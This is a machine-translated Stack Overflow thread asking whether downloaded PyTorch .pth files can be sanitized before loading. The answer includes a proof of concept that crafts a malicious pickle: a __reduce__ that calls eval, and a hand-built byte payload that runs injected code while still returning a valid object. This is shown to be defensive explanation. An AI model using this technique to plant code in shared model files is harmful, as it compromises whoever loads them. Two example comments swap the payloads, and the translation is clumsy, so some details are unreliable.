python - .pth 文件是否存在安全风险，我们如何对其进行清理？

问题描述

众所周知，腌制文件是 [不安全] [1] 直接加载。但是，该 SE 帖子上的建议得出的结论是，如果不确定文件的出处，基本上不应该使用腌制文件。

PyTorch 机器学习模型以.pth文件的形式存储在 Github 上的公共存储库中，我们想将其用于推理吗？例如，如果我有一个model.pth我计划加载的torch.load(model.pth)，是否有必要检查这样做是否安全？假设我别无选择，只能使用该模型，应该如何检查它？

鉴于这些模型最终只是权重，我们是否可以使用 PyTorch 制作一个最小的 Docker 容器，在其中加载模型，然后重新保存权重？这是必要的吗，我们应该做什么样的检查（即假设在容器中装载是安全的，应该应用什么样的代码处理来清理模型以进行运输？）。

编辑：对要求澄清的回应：说我有一个model.pth- (1) 我需要小心它，就像我对 .pkl 一样，因为 .pth 意味着只包含模型权重？或者我可以直接把它扔进去torch.load(model.pth)吗？(2) 如果我做不到，我可以先做些什么来让自己torch.load()安心？

编辑 2：答案应该特别关注 ML 预训练模型。示例：查看模型https://download.pytorch.org/models/resnet34-333f7ec4.pth（警告：从 TorchHub 下载 80 MB - 随意使用另一个 Resnet .pth 模型，但任何清洁都需要合理快速地）。目前我会下载它，然后使用load_state_dict（例如 [here][2] 详细解释）将其加载到 PyTorch 中。如果我不知道这是一个安全模型，我怎么能在加载之前先对其进行消毒load_state_dict？



  [1]: https://stackoverflow.com/questions/25353753/python-can-i-safely-unpickle-untrusted-data
  [2]: https://www.programmersought.com/article/95324315915/

标签： pythonmachine-learningpytorchpickle

解决方案

正如所指出的@MobeusZoom，这是关于 Pickle 而不是 PyTorch 格式的答案。无论如何，由于PyTorch 加载机制依赖于 Pickle，在此答案中绘制的场景观察结果仍然适用。

TL;博士;

不要尝试对泡菜进行消毒。信任或拒绝。

引自 Marco Slaviero 在2011 年 Black Hat USA 的 Sour Pickle演讲中。

真正的解决方案是：

不要与不公平的信任方建立交换；
设置安全传输层进行交换；
签署交换文件；

另请注意，存在基于 AI 的新型攻击，即使 pickle 没有 shellcode，在从不受信任的来源加载预训练网络时，您仍然可能需要解决其他问题。

重要笔记

从上面链接的演示文稿中，我们可以得出几个重要的注释：

Pickle 使用虚拟机来重建实时数据（PVM 与 python 进程一起发生），该虚拟机不是图灵完备的，但具有：指令集（操作码）、用于执行的堆栈和用于托管对象数据的备忘录。这足以让攻击者创建漏洞利用。
Pickle 机制是向后兼容的，这意味着最新的 Python 可以取消其协议的第一个版本。
只要 PVM 不崩溃，Pickle 就可以（重新）构造任何对象，这种机制中没有一致性检查来强制对象完整性。
概括地说，Pickle 允许攻击者以任何语言（包括 python）执行 shellcode，这些代码甚至可以在受害者程序退出后继续存在。
攻击者通常会伪造自己的 pickle，因为它提供了比单纯使用 pickle 机制更大的灵活性。当然，他们可以使用 pickle 作为助手来编写操作码序列。攻击者可以通过两种重要方式制作恶意 pickle 负载：
- 预先添加要首先执行的 shellcode 并保持 PVM 堆栈干净。然后你可能会在 unpickling 后得到一个正常的对象；
- 将 shellcode 插入到有效负载中，以便在 unpickling 时执行它并可能与备忘录交互。然后未腌制的对象可能具有额外的功能。
攻击者知道“安全的 unpickler”并且知道如何绕过它们。

MCVE

在下面找到一个非常幼稚的 MCVE，以评估您将清理可疑腌制文件封装在 Docker 容器中的建议。我们将使用它来评估主要的相关风险。请注意，真正的漏洞利用将更加先进和复杂。

考虑下面的两个类，Normal这是您希望解开的：

# normal.py
class Normal:

    def __init__(self, config):
        self.__dict__.update(config)

    def __str__(self):
        return "<Normal %s>" % self.__dict__

并且Exploit是其 shellcode 的攻击者容器：

# exploit.py
class Exploit(object):

    def __reduce__(self):
        return (eval, ("print('P@wn%d!')",))

然后，攻击者可以使用 pickle 作为帮助器来生成中间有效负载，以伪造最终的漏洞利用有效负载：

import pickle
from normal import Normal
from exploit import Exploit

host = Normal({"hello": "world"})
evil = Exploit()

host_payload = pickle.dumps(host, protocol=0) # b'c__builtin__\neval\np0\n(S"print(\'P@wn%d!\')"\np1\ntp2\nRp3\n.'
evil_payload = pickle.dumps(evil, protocol=0) # b'(i__main__\nNormal\np0\n(dp1\nS"hello"\np2\nS"world"\np3\nsb.'

此时，攻击者可以制作特定的有效载荷来注入其 shellcode 并返回数据。

with open("inject.pickle", "wb") as handler:
    handler.write(b'c__builtin__\neval\np0\n(S"print(\'P@wn%d!\')"\np1\ntp2\nRp3\n(i__main__\nNormal\np0\n(dp1\nS"hello"\np2\nS"world"\np3\nsb.')

现在，当受害者将反序列化恶意 pickle 文件时，将执行漏洞利用并按预期返回一个有效对象：

from normal import Normal
with open("inject.pickle", "rb") as handler:
     data = pickle.load(handler)
print(data)

执行返回：

P@wn%d!
<Normal {'hello': 'world'}>

当然，shellcode 并不打算如此明显，您可能没有注意到它已被执行。

集装箱清洁剂

现在，让我们按照您的建议尝试清洁这个泡菜。我们将封装以下清洗代码：

# cleaner.py
import pickle
from normal import Normal

with open("inject.pickle", "rb") as handler:
    data = pickle.load(handler)
print(data)

cleaned = Normal(data.__dict__)
with open("cleaned.pickle", "wb") as handler:
    pickle.dump(cleaned, handler)

with open("cleaned.pickle", "rb") as handler:
    recovered = pickle.load(handler)
print(recovered)

进入 Docker 映像以尝试包含其执行。作为基线，我们可以这样做：

FROM python:3.9

ADD ./exploit ./
RUN chown 1001:1001 inject.pickle

USER 1001:1001

CMD ["python3", "./cleaner.py"]

然后我们构建镜像并执行它：

docker build -t jlandercy/doclean:1.0 .
docker run -v /home/jlandercy/exploit:/exploit jlandercy/doclean:1.0

还要确保包含漏洞利用的已安装文件夹具有限制性的临时权限。

P@wn%d!
<Normal {'hello': 'world'}> # <-- Shellcode has been executed
<Normal {'hello': 'world'}> # <-- Shellcode has been removed

现在cleaned.pickle是免费的shellcode。当然，在释放清洗过的泡菜之前，您需要仔细检查这个假设。

观察

如您所见，Docker 映像在 unpickling 时不会阻止漏洞利用的执行，但它可能有助于在一定程度上遏制漏洞利用。

关注点是（并非详尽无遗）：

最近有一个带有原始协议的 pickle 文件是一个提示，但不是可疑的证据。
请注意，即使容器化了，您仍然在主机上运行攻击者代码；
此外，攻击者可能设计了其漏洞利用来破坏 Docker 容器，使用非特权用户来降低风险；
不要将任何网络绑定到此容器，因为攻击者可以启动终端并通过网络接口将其暴露（并可能暴露给 Web）；
根据攻击者的设计方式，其漏洞利用数据可能根本不可用。例如，如果__reduce__方法实际上返回了漏洞利用而不是重新创建所需实例的配方。毕竟，这样做的主要目的是让您不再腌制它；
如果您打算在加载可疑的 pickle 存档后转储原始数据，您需要一个严格的程序来从漏洞利用中分离数据；
清洁步骤可能是一个限制。它依赖于您从恶意负载重新创建预期对象的能力。这将取决于从 pickle 文件中真正重建的内容以及所需的对象构造函数需要如何参数化；
最后，如果您对清洁过程有信心，您可以挂载一个卷以在容器退出后访问结果。